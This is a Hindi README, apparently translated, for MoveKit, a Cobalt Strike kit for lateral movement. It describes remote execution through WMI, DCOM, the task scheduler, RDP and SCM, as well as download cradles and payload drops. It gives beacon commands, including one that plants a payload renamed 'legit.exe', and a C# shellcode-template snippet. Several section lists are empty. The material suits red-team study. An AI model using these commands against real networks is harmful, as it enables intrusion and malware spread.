
पार्श्व संचलन के लिए Cobalt Strike किट
MoveKit, SharpMove और SharpRDP .NET असेंबली के साथ execute_assembly फ़ंक्शन का उपयोग करके अंतर्निहित कोबाल्ट स्ट्राइक पार्श्व गति का एक विस्तार है। आक्रामक स्क्रिप्ट एक विशिष्ट निष्पादन प्रकार के लिए टेम्पलेट फ़ाइलें पढ़कर पेलोड निर्माण को संभालती है।
महत्वपूर्ण: स्क्रिप्ट का उपयोग करने के लिए उपयोगकर्ता को केवल MoveKit.cna आक्रामक स्क्रिप्ट लोड करनी होगी, जो अपने साथ अन्य सभी आवश्यक स्क्रिप्ट लोड करेगी। इसके अतिरिक्त, किए गए कार्यों के आधार पर SharpMove और SharpRDP असेंबली को संकलित करके Assemblies निर्देशिका में रखना होगा। अंत में, कुछ फ़ाइल स्थानांतरण के लिए गतिशील संकलन की आवश्यकता होती है, जिसके लिए Mono की आवश्यकता होगी।
आक्रामक स्क्रिप्ट लोड करते समय menubar में Move नाम का एक चयनकर्ता लोड होगा। उपयोगकर्ता कई विकल्प चुन सकता है। पहला, उपयोगकर्ता WMI, DCOM, टास्क शेड्यूलर, RDP या SCM के माध्यम से दूरस्थ सिस्टम पर एक कमांड निष्पादित कर सकता है। दूसरा, Command निष्पादन तंत्र है जो फ़ाइलों को पकड़ने और निष्पादित करने के लिए डाउनलोड क्रेडल का उपयोग करता है। तीसरा, File विधि सिस्टम पर एक फ़ाइल ड्रॉप करती है और उसे निष्पादित करती है। Write File Only है जो कोई निष्पादन नहीं करता, केवल डेटा स्थानांतरित करता है। अंत में, GUI को तेज़ बनाने और बीकन कमांड के साथ उपयोग के लिए Default सेटिंग्स हैं। डिफ़ॉल्ट सेटिंग्स का उपयोग किसी भी चीज़ के लिए किया जाता है जो डिफ़ॉल्ट स्वीकार कर सके।
बीकन कमांड का उपयोग करने के लिए यह डिफ़ॉल्ट सेटिंग्स पढ़ेगा और कुछ कमांड लाइन तर्कों का उपयोग करेगा। बीकन कमांड का उदाहरण:
<exec-type> <target> <listener> <filename>
move-msbuild 192.168.1.1 http move.csproj
इसके अतिरिक्त, कस्टम प्री-बिल्ट बीकन कमांड थोड़ा अलग है। कमांड उदाहरण:
move-pre-custom-file <target> <local-file> <remote-filename>
move-pre-custom-file computer001.local /root/payload.exe legit.exe
लोकेशन फ़ील्ड परियोजना का सबसे पेचीदा हिस्सा है। WMI फ़ाइल स्थानांतरण चुनते समय location का उपयोग किया जाएगा, यदि SMB चुना जाता है तो इसका उपयोग नहीं किया जाएगा (इसे खाली छोड़ा जा सकता है)। Location तीन अलग-अलग मान लेता है। पहला, यदि location एक URL है तो पेलोड बनने पर इसे कोबाल्ट स्ट्राइक के वेब सर्वर द्वारा होस्ट किया जाएगा। बीकन होस्ट जहाँ से असेंबली निष्पादित की जाएगी, URL पर एक वेब अनुरोध करेगा और फ़ाइल को पकड़ेगा, जिसका उपयोग लक्ष्य होस्ट पर फ़ाइल लिखने के लिए एक इवेंट सब में किया जाएगा। दूसरा, यदि location एक विंडोज़ निर्देशिका है तो यह बनाई गई फ़ाइल को बीकन होस्ट पर अपलोड करेगा और असेंबली इसे फ़ाइल सिस्टम से पढ़ेगी और दूरस्थ होस्ट पर लिखने के लिए इवेंट सब में स्टोर करेगी। अंत में, यदि location फ़ील्ड एक linux पथ या local शब्द है तो यह गतिशील रूप से पेलोड को निष्पादित की जा रही असेंबली में संकलित करेगा। हालाँकि, यदि फ़ाइल 1MB फ़ाइल आकार सीमा से ऊपर है तो यह एक त्रुटि दिखाएगा।
सभी फ़ाइल विधियों के लिए पेलोड आक्रामक स्क्रिप्ट के माध्यम से बनाया जाएगा। हालाँकि, यदि पेलोड पहले से बनाया गया है तो उपयोगकर्ता इसे स्थानांतरित करने और निष्पादित करने के लिए Custom (Prebuilt) विकल्प चुन सकते हैं।
किट में विभिन्न फ़ाइल स्थानांतरण तकनीकें, निष्पादन ट्रिगर और पेलोड प्रकार शामिल हैं।
फ़ाइल स्थानांतरण को दूरस्थ होस्ट पर फ़ाइल पहुँचाने की विधि माना जाता है फ़ाइल स्थानांतरण प्रकार:
कमांड ट्रिगर को दूरस्थ होस्ट पर एक विशिष्ट कमांड निष्पादित करने की विधि माना जाता है। कमांड ट्रिगर प्रकार:
केवल शेलकोड निष्पादन:
हाईजैक:
टेम्पलेट बदलने के लिए आपको दो आवश्यकताओं को पूरा करना होगा। पहला, टेम्पलेट का नाम तकनीक होना चाहिए (उदाहरण: msbuild.csproj)। दूसरा, स्रोत कोड में स्ट्रिंग $$PAYLOAD$$ होनी चाहिए जहाँ base64 एन्कोडेड शेलकोड जाएगा और base64 स्ट्रिंग को बाइट ऐरे में बदलने में सक्षम होना चाहिए। C# के लिए उदाहरण:
string strSC = "$$PAYLOAD$$";
byte[] sc = Convert.FromBase64String(strSC);
एक बदलाव जोड़ा गया है जो डिफ़ॉल्ट को 'Update Defaults डायलॉग' में 'Find and Replace string' और शेलकोड प्रारूपों को अपडेट करने की अनुमति देता है। डिफ़ॉल्ट रूप से ये $$PAYLOAD$$ और base64 हैं।
execute-assembly फ़ंक्शन का उपयोग करता है इसलिए यह अन्य पोस्ट एक्स जॉब्स की तरह एक बलि प्रक्रिया में इंजेक्ट होगाFile या Command विधियों में से किसी का उपयोग कर रहे हैं तो फ़ाइलें डिस्क पर ड्रॉप की जाएंगीकुछ कोड, टेम्पलेट या प्रेरणा अन्य लोगों और परियोजनाओं से आती है
शायद कहीं बग हैं, वे समय-समय पर सामने आते रहते हैं। बस उन्हें सामने लाएँ और मैं उन्हें ठीक कर दूंगा